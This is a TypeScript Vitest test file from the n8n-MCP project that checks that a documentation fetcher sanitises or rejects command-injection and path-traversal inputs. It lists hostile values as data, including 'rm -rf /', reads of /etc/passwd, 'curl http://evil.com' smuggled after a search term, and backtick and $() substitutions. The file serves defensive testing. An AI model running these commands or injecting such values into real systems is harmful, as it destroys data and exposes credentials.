Skip to main content
Glama

n8n-MCP

by 88-888
command-injection-prevention.test.tsβ€’8.61 kB
import { describe, it, expect, beforeAll } from 'vitest'; import { EnhancedDocumentationFetcher } from '../../../src/utils/enhanced-documentation-fetcher'; /** * Integration tests for command injection prevention * * SECURITY: These tests verify that malicious inputs cannot execute shell commands * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01) */ describe('Command Injection Prevention', () => { let fetcher: EnhancedDocumentationFetcher; beforeAll(() => { fetcher = new EnhancedDocumentationFetcher(); }); describe('Command Injection Attacks', () => { it('should sanitize all command injection attempts without executing commands', async () => { // SECURITY: The key is that special characters are sanitized, preventing command execution // After sanitization, the string may become a valid search term (e.g., 'test') // which is safe behavior - no commands are executed const attacks = [ 'test"; rm -rf / #', // Sanitizes to: test 'test && cat /etc/passwd',// Sanitizes to: test 'test | curl http://evil.com', // Sanitizes to: test 'test`whoami`', // Sanitizes to: test 'test$(cat /etc/passwd)', // Sanitizes to: test 'test\nrm -rf /', // Sanitizes to: test '"; rm -rf / #', // Sanitizes to: empty '&&& curl http://evil.com', // Sanitizes to: empty '|||', // Sanitizes to: empty '```', // Sanitizes to: empty '$()', // Sanitizes to: empty '\n\n\n', // Sanitizes to: empty ]; for (const attack of attacks) { // Should complete without throwing errors or executing commands // Result may be null or may find documentation - both are safe as long as no commands execute await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined(); } }); }); describe('Directory Traversal Prevention', () => { it('should block parent directory traversal', async () => { const traversalAttacks = [ '../../../etc/passwd', '../../etc/passwd', '../etc/passwd', ]; for (const attack of traversalAttacks) { const result = await fetcher.getEnhancedNodeDocumentation(attack); expect(result).toBeNull(); } }); it('should block URL-encoded directory traversal', async () => { const traversalAttacks = [ '..%2f..%2fetc%2fpasswd', '..%2fetc%2fpasswd', ]; for (const attack of traversalAttacks) { const result = await fetcher.getEnhancedNodeDocumentation(attack); expect(result).toBeNull(); } }); it('should block relative path references', async () => { const pathAttacks = [ '..', '....', './test', '../test', ]; for (const attack of pathAttacks) { const result = await fetcher.getEnhancedNodeDocumentation(attack); expect(result).toBeNull(); } }); it('should block absolute paths', async () => { const pathAttacks = [ '/etc/passwd', '/usr/bin/whoami', '/var/log/auth.log', ]; for (const attack of pathAttacks) { const result = await fetcher.getEnhancedNodeDocumentation(attack); expect(result).toBeNull(); } }); }); describe('Special Character Handling', () => { it('should sanitize special characters', async () => { const specialChars = [ 'test;', 'test|', 'test&', 'test`', 'test$', 'test(', 'test)', 'test<', 'test>', ]; for (const input of specialChars) { const result = await fetcher.getEnhancedNodeDocumentation(input); // Should sanitize and search, not execute commands // Result should be null (not found) but no command execution expect(result).toBeNull(); } }); it('should sanitize null bytes', async () => { // Null bytes are sanitized, leaving 'test' as valid search term const nullByteAttacks = [ 'test\0.md', 'test\u0000', ]; for (const attack of nullByteAttacks) { // Should complete safely - null bytes are removed await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined(); } }); }); describe('Legitimate Operations', () => { it('should still find valid node documentation with safe characters', async () => { // Test with a real node type that should exist const validNodeTypes = [ 'slack', 'gmail', 'httpRequest', ]; for (const nodeType of validNodeTypes) { const result = await fetcher.getEnhancedNodeDocumentation(nodeType); // May or may not find docs depending on setup, but should not throw or execute commands // The key is that it completes without error expect(result === null || typeof result === 'object').toBe(true); } }); it('should handle hyphens and underscores safely', async () => { const safeNames = [ 'http-request', 'google_sheets', 'n8n-nodes-base', ]; for (const name of safeNames) { const result = await fetcher.getEnhancedNodeDocumentation(name); // Should process safely without executing commands expect(result === null || typeof result === 'object').toBe(true); } }); }); describe('Git Command Injection Prevention (Issue #265 Part 2)', () => { it('should reject malicious paths in constructor with shell metacharacters', () => { const maliciousPaths = [ '/tmp/test; touch /tmp/PWNED #', '/tmp/test && curl http://evil.com', '/tmp/test | whoami', '/tmp/test`whoami`', '/tmp/test$(cat /etc/passwd)', '/tmp/test\nrm -rf /', '/tmp/test & rm -rf /', '/tmp/test || curl evil.com', ]; for (const maliciousPath of maliciousPaths) { expect(() => new EnhancedDocumentationFetcher(maliciousPath)).toThrow( /Invalid docsPath: path contains disallowed characters or patterns/ ); } }); it('should reject paths pointing to sensitive system directories', () => { const systemPaths = [ '/etc/passwd', '/sys/kernel', '/proc/self', '/var/log/auth.log', ]; for (const systemPath of systemPaths) { expect(() => new EnhancedDocumentationFetcher(systemPath)).toThrow( /Invalid docsPath: cannot use system directories/ ); } }); it('should reject directory traversal attempts in constructor', () => { const traversalPaths = [ '../../../etc/passwd', '../../sensitive', './relative/path', '.hidden/path', ]; for (const traversalPath of traversalPaths) { expect(() => new EnhancedDocumentationFetcher(traversalPath)).toThrow( /Invalid docsPath: path contains disallowed characters or patterns/ ); } }); it('should accept valid absolute paths in constructor', () => { // These should not throw expect(() => new EnhancedDocumentationFetcher('/tmp/valid-docs-path')).not.toThrow(); expect(() => new EnhancedDocumentationFetcher('/var/tmp/n8n-docs')).not.toThrow(); expect(() => new EnhancedDocumentationFetcher('/home/user/docs')).not.toThrow(); }); it('should use default path when no path provided', () => { // Should not throw with default path expect(() => new EnhancedDocumentationFetcher()).not.toThrow(); }); it('should reject paths with quote characters', () => { const quotePaths = [ '/tmp/test"malicious', "/tmp/test'malicious", '/tmp/test`command`', ]; for (const quotePath of quotePaths) { expect(() => new EnhancedDocumentationFetcher(quotePath)).toThrow( /Invalid docsPath: path contains disallowed characters or patterns/ ); } }); it('should reject paths with brackets and braces', () => { const bracketPaths = [ '/tmp/test[malicious]', '/tmp/test{a,b}', '/tmp/test<redirect>', '/tmp/test(subshell)', ]; for (const bracketPath of bracketPaths) { expect(() => new EnhancedDocumentationFetcher(bracketPath)).toThrow( /Invalid docsPath: path contains disallowed characters or patterns/ ); } }); }); });

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/88-888/n8n-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server